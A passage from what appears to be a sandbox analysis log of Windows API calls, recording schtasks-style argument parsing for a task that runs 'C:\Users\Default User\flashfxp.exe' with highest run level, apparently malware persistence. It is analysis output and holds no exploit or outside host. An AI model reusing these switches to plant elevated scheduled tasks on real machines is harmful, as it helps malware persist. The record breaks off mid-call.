0 [0164.522] lstrlenW (lpString="mo") returned 2 [0164.522] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.522] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|change|") returned 8 [0164.522] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|mo|") returned 4 [0164.522] lstrlenW (lpString="|change|") returned 8 [0164.522] lstrlenW (lpString="|mo|") returned 4 [0164.522] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0164.522] SetLastError (dwErrCode=0x490) [0164.522] lstrlenW (lpString="run") returned 3 [0164.522] lstrlenW (lpString="run") returned 3 [0164.522] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.523] lstrlenW (lpString="mo") returned 2 [0164.523] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.523] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|run|") returned 5 [0164.523] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|mo|") returned 4 [0164.523] lstrlenW (lpString="|run|") returned 5 [0164.523] lstrlenW (lpString="|mo|") returned 4 [0164.523] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0164.523] SetLastError (dwErrCode=0x490) [0164.523] lstrlenW (lpString="end") returned 3 [0164.523] lstrlenW (lpString="end") returned 3 [0164.523] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.523] lstrlenW (lpString="mo") returned 2 [0164.523] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.523] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|end|") returned 5 [0164.523] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|mo|") returned 4 [0164.523] lstrlenW (lpString="|end|") returned 5 [0164.523] lstrlenW (lpString="|mo|") returned 4 [0164.523] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0164.523] SetLastError (dwErrCode=0x490) [0164.523] lstrlenW (lpString="showsid") returned 7 [0164.523] lstrlenW (lpString="showsid") returned 7 [0164.523] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.523] lstrlenW (lpString="mo") returned 2 [0164.523] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.523] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|showsid|") returned 9 [0164.524] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|mo|") returned 4 [0164.524] lstrlenW (lpString="|showsid|") returned 9 [0164.524] lstrlenW (lpString="|mo|") returned 4 [0164.524] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0164.524] SetLastError (dwErrCode=0x490) [0164.524] SetLastError (dwErrCode=0x490) [0164.524] SetLastError (dwErrCode=0x0) [0164.524] lstrlenW (lpString="/mo") returned 3 [0164.524] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0164.524] SetLastError (dwErrCode=0x490) [0164.524] SetLastError (dwErrCode=0x0) [0164.524] lstrlenW (lpString="/mo") returned 3 [0164.524] GetProcessHeap () returned 0x220000 [0164.524] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x8) returned 0x23dcb0 [0164.524] GetProcessHeap () returned 0x220000 [0164.524] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23cc90 [0164.524] SetLastError (dwErrCode=0x0) [0164.524] SetLastError (dwErrCode=0x0) [0164.524] lstrlenW (lpString="13") returned 2 [0164.524] lstrlenW (lpString="-/") returned 2 [0164.524] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0164.524] SetLastError (dwErrCode=0x490) [0164.524] SetLastError (dwErrCode=0x490) [0164.524] SetLastError (dwErrCode=0x0) [0164.524] lstrlenW (lpString="13") returned 2 [0164.524] StrChrIW (lpStart="13", wMatch=0x3a) returned 0x0 [0164.524] SetLastError (dwErrCode=0x490) [0164.524] SetLastError (dwErrCode=0x0) [0164.524] lstrlenW (lpString="13") returned 2 [0164.524] GetProcessHeap () returned 0x220000 [0164.525] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x6) returned 0x23dcd0 [0164.525] GetProcessHeap () returned 0x220000 [0164.525] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23ccc0 [0164.525] SetLastError (dwErrCode=0x0) [0164.525] SetLastError (dwErrCode=0x0) [0164.525] lstrlenW (lpString="/tr") returned 3 [0164.525] lstrlenW (lpString="-/") returned 2 [0164.525] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0164.525] lstrlenW (lpString="?") returned 1 [0164.525] lstrlenW (lpString="?") returned 1 [0164.525] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.525] lstrlenW (lpString="tr") returned 2 [0164.525] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.525] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|?|") returned 3 [0164.525] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|tr|") returned 4 [0164.525] lstrlenW (lpString="|?|") returned 3 [0164.525] lstrlenW (lpString="|tr|") returned 4 [0164.525] SetLastError (dwErrCode=0x490) [0164.525] lstrlenW (lpString="create") returned 6 [0164.525] lstrlenW (lpString="create") returned 6 [0164.525] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.530] lstrlenW (lpString="tr") returned 2 [0164.530] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.530] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|create|") returned 8 [0164.530] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|tr|") returned 4 [0164.530] lstrlenW (lpString="|create|") returned 8 [0164.530] lstrlenW (lpString="|tr|") returned 4 [0164.530] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0164.530] SetLastError (dwErrCode=0x490) [0164.530] lstrlenW (lpString="delete") returned 6 [0164.530] lstrlenW (lpString="delete") returned 6 [0164.530] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.530] lstrlenW (lpString="tr") returned 2 [0164.530] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.530] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|delete|") returned 8 [0164.530] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|tr|") returned 4 [0164.530] lstrlenW (lpString="|delete|") returned 8 [0164.530] lstrlenW (lpString="|tr|") returned 4 [0164.530] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0164.530] SetLastError (dwErrCode=0x490) [0164.530] lstrlenW (lpString="query") returned 5 [0164.530] lstrlenW (lpString="query") returned 5 [0164.530] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.530] lstrlenW (lpString="tr") returned 2 [0164.530] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.531] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|query|") returned 7 [0164.531] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|tr|") returned 4 [0164.531] lstrlenW (lpString="|query|") returned 7 [0164.531] lstrlenW (lpString="|tr|") returned 4 [0164.531] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0164.531] SetLastError (dwErrCode=0x490) [0164.531] lstrlenW (lpString="change") returned 6 [0164.531] lstrlenW (lpString="change") returned 6 [0164.531] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.531] lstrlenW (lpString="tr") returned 2 [0164.531] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.531] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|change|") returned 8 [0164.531] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|tr|") returned 4 [0164.531] lstrlenW (lpString="|change|") returned 8 [0164.531] lstrlenW (lpString="|tr|") returned 4 [0164.531] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0164.531] SetLastError (dwErrCode=0x490) [0164.531] lstrlenW (lpString="run") returned 3 [0164.531] lstrlenW (lpString="run") returned 3 [0164.531] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.531] lstrlenW (lpString="tr") returned 2 [0164.531] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.531] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|run|") returned 5 [0164.531] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|tr|") returned 4 [0164.531] lstrlenW (lpString="|run|") returned 5 [0164.532] lstrlenW (lpString="|tr|") returned 4 [0164.532] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0164.532] SetLastError (dwErrCode=0x490) [0164.532] lstrlenW (lpString="end") returned 3 [0164.532] lstrlenW (lpString="end") returned 3 [0164.532] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.532] lstrlenW (lpString="tr") returned 2 [0164.532] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.532] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|end|") returned 5 [0164.532] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|tr|") returned 4 [0164.532] lstrlenW (lpString="|end|") returned 5 [0164.532] lstrlenW (lpString="|tr|") returned 4 [0164.532] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0164.532] SetLastError (dwErrCode=0x490) [0164.532] lstrlenW (lpString="showsid") returned 7 [0164.532] lstrlenW (lpString="showsid") returned 7 [0164.532] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.532] lstrlenW (lpString="tr") returned 2 [0164.532] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.532] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|showsid|") returned 9 [0164.532] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|tr|") returned 4 [0164.532] lstrlenW (lpString="|showsid|") returned 9 [0164.532] lstrlenW (lpString="|tr|") returned 4 [0164.532] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0164.532] SetLastError (dwErrCode=0x490) [0164.533] SetLastError (dwErrCode=0x490) [0164.533] SetLastError (dwErrCode=0x0) [0164.533] lstrlenW (lpString="/tr") returned 3 [0164.533] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0164.533] SetLastError (dwErrCode=0x490) [0164.533] SetLastError (dwErrCode=0x0) [0164.533] lstrlenW (lpString="/tr") returned 3 [0164.533] GetProcessHeap () returned 0x220000 [0164.533] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x8) returned 0x23dcf0 [0164.533] GetProcessHeap () returned 0x220000 [0164.533] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23ccf0 [0164.533] SetLastError (dwErrCode=0x0) [0164.533] SetLastError (dwErrCode=0x0) [0164.533] lstrlenW (lpString="'C:\\Users\\Default User\\flashfxp.exe'") returned 36 [0164.533] lstrlenW (lpString="-/") returned 2 [0164.533] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0164.533] SetLastError (dwErrCode=0x490) [0164.533] SetLastError (dwErrCode=0x490) [0164.533] SetLastError (dwErrCode=0x0) [0164.533] lstrlenW (lpString="'C:\\Users\\Default User\\flashfxp.exe'") returned 36 [0164.533] StrChrIW (lpStart="'C:\\Users\\Default User\\flashfxp.exe'", wMatch=0x3a) returned=":\\Users\\Default User\\flashfxp.exe'" [0164.533] lstrlenW (lpString="'C:\\Users\\Default User\\flashfxp.exe'") returned 36 [0164.533] GetProcessHeap () returned 0x220000 [0164.533] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x18) returned 0x23d500 [0164.533] _memicmp (_Buf1=0x23d500, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.533] GetProcessHeap () returned 0x220000 [0164.533] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0xe) returned 0x23d520 [0164.534] GetProcessHeap () returned 0x220000 [0164.534] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x18) returned 0x23d540 [0164.534] _memicmp (_Buf1=0x23d540, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.534] GetProcessHeap () returned 0x220000 [0164.534] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x4c) returned 0x23dd10 [0164.534] SetLastError (dwErrCode=0x7a) [0164.534] SetLastError (dwErrCode=0x0) [0164.534] SetLastError (dwErrCode=0x0) [0164.534] lstrlenW (lpString="'C") returned 2 [0164.534] lstrlenW (lpString="-/") returned 2 [0164.534] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0164.534] SetLastError (dwErrCode=0x490) [0164.534] SetLastError (dwErrCode=0x490) [0164.534] SetLastError (dwErrCode=0x0) [0164.534] lstrlenW (lpString="'C:\\Users\\Default User\\flashfxp.exe'") returned 36 [0164.534] GetProcessHeap () returned 0x220000 [0164.534] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x4a) returned 0x23dd70 [0164.534] GetProcessHeap () returned 0x220000 [0164.534] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23cd20 [0164.534] SetLastError (dwErrCode=0x0) [0164.534] SetLastError (dwErrCode=0x0) [0164.534] lstrlenW (lpString="/rl") returned 3 [0164.534] lstrlenW (lpString="-/") returned 2 [0164.534] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0164.534] lstrlenW (lpString="?") returned 1 [0164.534] lstrlenW (lpString="?") returned 1 [0164.534] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.534] lstrlenW (lpString="rl") returned 2 [0164.535] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.535] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|?|") returned 3 [0164.535] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|rl|") returned 4 [0164.535] lstrlenW (lpString="|?|") returned 3 [0164.535] lstrlenW (lpString="|rl|") returned 4 [0164.535] SetLastError (dwErrCode=0x490) [0164.535] lstrlenW (lpString="create") returned 6 [0164.535] lstrlenW (lpString="create") returned 6 [0164.535] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.535] lstrlenW (lpString="rl") returned 2 [0164.535] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.535] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|create|") returned 8 [0164.535] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|rl|") returned 4 [0164.535] lstrlenW (lpString="|create|") returned 8 [0164.535] lstrlenW (lpString="|rl|") returned 4 [0164.535] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0164.535] SetLastError (dwErrCode=0x490) [0164.535] lstrlenW (lpString="delete") returned 6 [0164.535] lstrlenW (lpString="delete") returned 6 [0164.535] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.535] lstrlenW (lpString="rl") returned 2 [0164.535] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.535] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|delete|") returned 8 [0164.535] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|rl|") returned 4 [0164.535] lstrlenW (lpString="|delete|") returned 8 [0164.536] lstrlenW (lpString="|rl|") returned 4 [0164.536] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0164.536] SetLastError (dwErrCode=0x490) [0164.536] lstrlenW (lpString="query") returned 5 [0164.536] lstrlenW (lpString="query") returned 5 [0164.536] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.536] lstrlenW (lpString="rl") returned 2 [0164.536] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.536] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|query|") returned 7 [0164.536] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|rl|") returned 4 [0164.536] lstrlenW (lpString="|query|") returned 7 [0164.536] lstrlenW (lpString="|rl|") returned 4 [0164.536] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0164.536] SetLastError (dwErrCode=0x490) [0164.536] lstrlenW (lpString="change") returned 6 [0164.536] lstrlenW (lpString="change") returned 6 [0164.536] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.537] lstrlenW (lpString="rl") returned 2 [0164.537] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.537] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|change|") returned 8 [0164.537] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|rl|") returned 4 [0164.537] lstrlenW (lpString="|change|") returned 8 [0164.537] lstrlenW (lpString="|rl|") returned 4 [0164.537] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0164.537] SetLastError (dwErrCode=0x490) [0164.537] lstrlenW (lpString="run") returned 3 [0164.537] lstrlenW (lpString="run") returned 3 [0164.537] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.537] lstrlenW (lpString="rl") returned 2 [0164.537] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.537] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|run|") returned 5 [0164.537] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|rl|") returned 4 [0164.537] lstrlenW (lpString="|run|") returned 5 [0164.538] lstrlenW (lpString="|rl|") returned 4 [0164.538] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0164.538] SetLastError (dwErrCode=0x490) [0164.538] lstrlenW (lpString="end") returned 3 [0164.538] lstrlenW (lpString="end") returned 3 [0164.538] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.538] lstrlenW (lpString="rl") returned 2 [0164.538] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.538] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|end|") returned 5 [0164.538] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|rl|") returned 4 [0164.538] lstrlenW (lpString="|end|") returned 5 [0164.538] lstrlenW (lpString="|rl|") returned 4 [0164.538] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0164.538] SetLastError (dwErrCode=0x490) [0164.538] lstrlenW (lpString="showsid") returned 7 [0164.538] lstrlenW (lpString="showsid") returned 7 [0164.538] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.538] lstrlenW (lpString="rl") returned 2 [0164.538] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.539] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|showsid|") returned 9 [0164.539] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|rl|") returned 4 [0164.539] lstrlenW (lpString="|showsid|") returned 9 [0164.539] lstrlenW (lpString="|rl|") returned 4 [0164.539] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0164.539] SetLastError (dwErrCode=0x490) [0164.539] SetLastError (dwErrCode=0x490) [0164.539] SetLastError (dwErrCode=0x0) [0164.539] lstrlenW (lpString="/rl") returned 3 [0164.539] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0164.539] SetLastError (dwErrCode=0x490) [0164.539] SetLastError (dwErrCode=0x0) [0164.539] lstrlenW (lpString="/rl") returned 3 [0164.539] GetProcessHeap () returned 0x220000 [0164.539] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x8) returned 0x23ddd0 [0164.539] GetProcessHeap () returned 0x220000 [0164.539] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23cd50 [0164.539] SetLastError (dwErrCode=0x0) [0164.539] SetLastError (dwErrCode=0x0) [0164.540] lstrlenW (lpString="HIGHEST") returned 7 [0164.540] lstrlenW (lpString="-/") returned 2 [0164.540] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0164.540] SetLastError (dwErrCode=0x490) [0164.540] SetLastError (dwErrCode=0x490) [0164.540] SetLastError (dwErrCode=0x0) [0164.540] lstrlenW (lpString="HIGHEST") returned 7 [0164.540] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0164.540] SetLastError (dwErrCode=0x490) [0164.540] SetLastError (dwErrCode=0x0) [0164.540] lstrlenW (lpString="HIGHEST") returned 7 [0164.540] GetProcessHeap () returned 0x220000 [0164.540] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x10) returned 0x23d560 [0164.540] GetProcessHeap () returned 0x220000 [0164.540] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23cd80 [0164.540] SetLastError (dwErrCode=0x0) [0164.540] SetLastError (dwErrCode=0x0) [0164.540] lstrlenW (lpString="/f") returned 2 [0164.540] lstrlenW (lpString="-/") returned 2 [0164.540] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0164.540] lstrlenW (lpString="?") returned 1 [0164.540] lstrlenW (lpString="?") returned 1 [0164.540] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.540] lstrlenW (lpString="f") returned 1 [0164.540] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.540] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|?|") returned 3 [0164.540] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|f|") returned 3 [0164.541] lstrlenW (lpString="|?|") returned 3 [0164.541] lstrlenW (lpString="|f|") returned 3 [0164.541] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0164.541] SetLastError (dwErrCode=0x490) [0164.541] lstrlenW (lpString="create") returned 6 [0164.541] lstrlenW (lpString="create") returned 6 [0164.541] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.541] lstrlenW (lpString="f") returned 1 [0164.541] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.622] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|create|") returned 8 [0164.622] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|f|") returned 3 [0164.623] lstrlenW (lpString="|create|") returned 8 [0164.623] lstrlenW (lpString="|f|") returned 3 [0164.623] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0164.623] SetLastError (dwErrCode=0x490) [0164.623] lstrlenW (lpString="delete") returned 6 [0164.623] lstrlenW (lpString="delete") returned 6 [0164.623] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.623] lstrlenW (lpString="f") returned 1 [0164.623] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.623] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|delete|") returned 8 [0164.623] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|f|") returned 3 [0164.623] lstrlenW (lpString="|delete|") returned 8 [0164.623] lstrlenW (lpString="|f|") returned 3 [0164.623] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0164.623] SetLastError (dwErrCode=0x490) [0164.623] lstrlenW (lpString="query") returned 5 [0164.623] lstrlenW (lpString="query") returned 5 [0164.624] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.624] lstrlenW (lpString="f") returned 1 [0164.624] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.624] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|query|") returned 7 [0164.624] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|f|") returned 3 [0164.624] lstrlenW (lpString="|query|") returned 7 [0164.624] lstrlenW (lpString="|f|") returned 3 [0164.624] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0164.624] SetLastError (dwErrCode=0x490) [0164.624] lstrlenW (lpString="change") returned 6 [0164.624] lstrlenW (lpString="change") returned 6 [0164.624] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.624] lstrlenW (lpString="f") returned 1 [0164.624] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.624] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|change|") returned 8 [0164.624] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|f|") returned 3 [0164.624] lstrlenW (lpString="|change|") returned 8 [0164.625] lstrlenW (lpString="|f|") returned 3 [0164.625] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0164.625] SetLastError (dwErrCode=0x490) [0164.625] lstrlenW (lpString="run") returned 3 [0164.625] lstrlenW (lpString="run") returned 3 [0164.625] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.625] lstrlenW (lpString="f") returned 1 [0164.625] _memicmp 